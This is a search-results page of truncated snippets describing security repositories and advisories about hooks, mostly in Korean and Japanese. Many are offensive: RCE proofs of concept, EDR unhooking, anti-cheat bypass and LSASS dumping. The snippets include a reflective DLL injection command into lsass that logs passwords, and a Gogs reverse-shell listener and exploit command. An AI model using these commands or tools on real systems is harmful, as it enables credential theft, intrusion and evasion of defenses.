4517 matches found
bedaisy-bypass
bedaisy-bypass 설명 bedaisy-bypass는 BEDaisy.sys에서 BEService.exe로 전송되는 리포트를 차단하도록 설계된 커널 드라이버입니다. UEFI를 사용하지 않는 사용자의 경우 프로젝트에서 Infinity Hook을 활용합니다. 이 드라이버는 두 서비스 간 명명된 파이프named pipe를 통해 전달되는 데이터를 가로챕니다. 요청을 수신하면 드라이버는 요청 유형을 검사하고 반환된 데이터를 복호화한 후 적절히 처리합니다. 보고 버퍼에 예상 데이터가 없다는 점메인 사용자 모드 셸코드와 달리 때문에 ...
CVE-2026-60004-poc-gitea
CVE-2026-60004 개념 증명 PoC 개요 이 저장소에는 diffpatch 후크 삽입 기법을 통해 특정 Gitea 버전에 영향을 미치는 인증 또는 사전 인증 원격 코드 실행RCE 벡터인 CVE-2026-60004에 대한 개념 증명 도구가 포함되어 있습니다. 주요 구현은 탐지 및 악용 흐름을 수행하는 단일 Go 프로그램입니다. 저장소 구성 https://github.com/gagaltotal/CVE-2026-60004-poc-gitea — 탐지, 악용 전달 및 선택적 출력 검색을 구현하는 주요 Go 소스 파일입니다...
CVE-2026-74936-gc-potato
CVE-2026-74936 화려하지 않은 재현입니다. 기본 설정에는 약간의 조정이 필요했습니다. Mozilla는 이 이슈를 WebAssembly use-after-free로 설명합니다. 공개 수정본 9823b5c86ffa는 정확히 트래핑하는 wasm::Code를 JitActivation에 살아 있게 유지합니다. 이 테스트는 잘못된 시그니처의 교차 인스턴스 꼬리 호출을 수행합니다. Debugger 언와인드 훅은 테이블의 마지막 대상 참조를 해제하고, 엔진이 트랩을 처리하는 동안 축소 GC를 강제합니다. 꼬리 호출에 진입하기 전에...
linux-malware-detect
Linux Malware Detect LMD Linux용 멀웨어 스캐너 — 다단계 위협 탐지MD5, SHA-256, HEX, YARA, 통계 분석, ClamAV 통합, 실시간 inotify 모니터링, 격리/정리/복원 작업, 다중 채널 알림이메일, Slack, Telegram, Discord. C 2002-2026, R-fx Networks C 2026, Ryan MacDonald GNU GPL v2에 따라 라이선스가 부여됨 2.0.1 새로운 기능 43배 더 빠른 네이티브 스캔 엔진 — 네이티브 스캐닝 파이프라인이 배치 병렬 처...
Hook-PasswordChangeNotify
Hook-PasswordChangeNotify 1、PowerShellで以下のコマンドを実行します： Import-Module .\Invoke-ReflectivePEInjection.ps1 Invoke-ReflectivePEInjection -PEPath HookPasswordChange.dll -procname lsass 2、ターゲットマシンのユーザーがパスワードを変更すると、新しいパスワードがC:\Windows\Temp\passwords.txtに書き込まれます。...
RefleXXion
소개 RefleXXion은 AV/EPP/EDR 등에서 사용하는 사용자 모드 후크를 우회하는 데 도움을 주는 유틸리티입니다. 사용자 모드 후크를 우회하기 위해 먼저 LdrpThunkSignature 배열에서 NtOpenFile, NtCreateSection, NtOpenSection 및 NtMapViewOfSection의 시스템 콜 번호를 수집합니다. 그런 다음 사용자가 선택할 수 있는 두 가지 기술이 있습니다. 기술-1은 C:\Windows\System32\ntdll.dll에서 NTDLL을 파일로 읽어옵니다. 파싱 후 메모리에...
createdump
Windows App LSASS ダンプ - 概念実証 このプロジェクトは、カスタムフックを利用して LSASS へのプロセスアクセスを有効にし、Windows App から取得した Microsoft 署名済み実行可能ファイルである createdump.exe ツールを使用して LSASS プロセスをダンプする方法を示しています。 Get-AuthentiCodeSignature -FilePath Join-Path -Path Get-AppxPackage -Name Windows365.InstallLocation -ChildPath...
Gitea 1.1.0 - 1.12.5 - Remote Code Execution
Gitea 1.1.0 through 1.12.5 is susceptible to authenticated remote code execution, via the git hook functionality, in customer environments where the documentation is not understood e.g., one viewpoint is that the dangerousness of this feature should be documented immediately above the...
unhook-bof
이것은 DLL을 새로 고침하고 해당 후크를 제거하는 Beacon Object File입니다. 이 코드는 Cylance의 Universal Unhooking 연구에서 비롯되었습니다: https://blogs.blackberry.com/en/2017/02/universal-unhooking-blinding-security-software 사용 방법: Cobalt Strike - Script Manager를 통해 unhook.cna를 Cobalt Strike에 로드합니다. Beacon에서 'unhook'을 실행합니다. 빌드 방법:...
GitPython: GitPython: Remote Code Execution via Git directory impersonation
A flaw was found in GitPython. This vulnerability allows a remote attacker to execute arbitrary code. By failing to properly validate the git directory location, GitPython allows attackers to impersonate the git directory using tracked files such as gitdir, commondir, and HEAD. An attacker can th...
GitPython: GitPython: Remote Code Execution via Git directory impersonation
A flaw was found in GitPython. This vulnerability allows a remote attacker to execute arbitrary code. By failing to properly validate the git directory location, GitPython allows attackers to impersonate the git directory using tracked files such as gitdir, commondir, and HEAD. An attacker can th...
GitPython: GitPython: Remote Code Execution via Git directory impersonation
A flaw was found in GitPython. This vulnerability allows a remote attacker to execute arbitrary code. By failing to properly validate the git directory location, GitPython allows attackers to impersonate the git directory using tracked files such as gitdir, commondir, and HEAD. An attacker can th...
WindowsFirewallHookDriverEnumeration
Windows Firewall 후크 드라이버 열거Enumeration Windows 2000, XP 및 2003에서 Windows Firewall 후크 드라이버를 열거하는 도구입니다. 이 기법을 사용하는 악성 코드 샘플을 확인했습니다. 후킹 기법 XP/2003의 Windows Firewall 후크 기능 기법 12345은 \Device\Ip로 전송되는 IOCTLIPSETFIREWALLHOOK라는 IOCTL을 사용합니다. define FSCTLIPBASE FILEDEVICENETWORK define IPCTLCODEfunction...
CaptainHook
Captain Hook 무엇인가요? 이 도구의 목적은 사용자 입력을 추적하여 민감한 메서드java.lang.Runtime.exec, java.sql.Statement.executeQuery, ...에 대한 주입 지점을 찾고, 주입 지점과 메서드 호출 사이에서 발생하는 입력의 변형mutation을 찾는 것입니다. "마크Mark"가 생성되며, 이 마크는 앱의 모든 가능한 사용자 입력에 삽입되어야 합니다. 서로 다른 마크는 알림alert의 출처를 파악하는 데 도움이 됩니다. 모니터링되는 메서드 목록은 CLI에서...
hook
hook gitrce용 서브모듈: https://github.com/EQSTSeminar/gitrce 공격 시나리오 kali192.168.216.129 --원격 저장소 주소 전달-- Win192.168.216.130 kali192.168.216.129 --Git clone && hook 스크립트post-checkout 실행-- Win192.168.216.130 면책 조항 이 저장소는 CVE-2024-32002에 대한 git clone RCE 익스플로잇으로 사용하기 위한 것이 아닙니다. 이 프로젝트의 목적은 사람들이 이 취약점에...
CVE-2024-44625-Gogs-RCE-0.13.0
CVE-2024-44625 및 Gogs-RCE-0.13.0 리버스 프록시 뒤에 있는 0.13.0 시대의 Gogs를 대상으로 검증되었습니다. 기본 원리: 웹 편집기의 심볼릭 링크 추적을 통해 존재하지 않는 .git/hooks/pre-receive 파일을 생성실행 가능합니다. 이후 해당 저장소에 대한 모든 푸시가 이 훅을 실행합니다. 사용법: 리버스 셸 먼저 리스너 실행: nc -lvnp 4444 python3 gogsrceshell.py --url http://host --user admin1 --pass 'P@ss' ...
deny-af-alg-bpf
deny-af-alg-bpf 설명 AFALGLinux 커널 암호화 API 소켓 생성을 차단하고 모든 시도를 링 버퍼를 통해 사용자 공간에 기록하는 BPF LSM 프로그램입니다. 기능 lsm/socketcreate 훅에 연결 socketAFALG, ... 호출을 -EPERM으로 거부 구조화된 이벤트pid, comm를 BPF 링 버퍼로 전송 사용자 공간 데몬이 링 버퍼를 읽고 stderr에 기록systemd 저널에서 수집 구성 요소 프로그램 denyafalg.bpf.c - 주요 차단 로직, BPF커널 공간에서 동작...
CVE-2025-10230
CVE-2025-10230 CVE-2025-10230용 PoC - Samba WINS 후크 명령 주입 이 취약점에 필요한 구성은 아마도 0명에게만 영향을 미칠 것입니다. 주입은 15자로 제한되며 유효한 WINS 이름이어야 하므로 ;는 사용할 수 없습니다...
CVE-2026-3854
CVE-2026-3854: GitHub RCE via X-Stat 헤더 주입 Wiz Research가 GitHub.com 및 GitHub Enterprise Server의 내부 git push 파이프라인에서 발견한 취약점의 작동 방식에 대한 실용적인 요약입니다. 경고 이 자료는 교육 및 오펜시브 보안 연구 목적으로 제공됩니다. 이 취약점은 GitHub에서 지원되는 모든 버전에서 이미 패치되었습니다. 본인 소유가 아니거나 서면으로 명시적인 테스트 승인을 받지 않은 환경에서 재현을 시도하지 마십시오. 시스템에 대한 무단 접근은...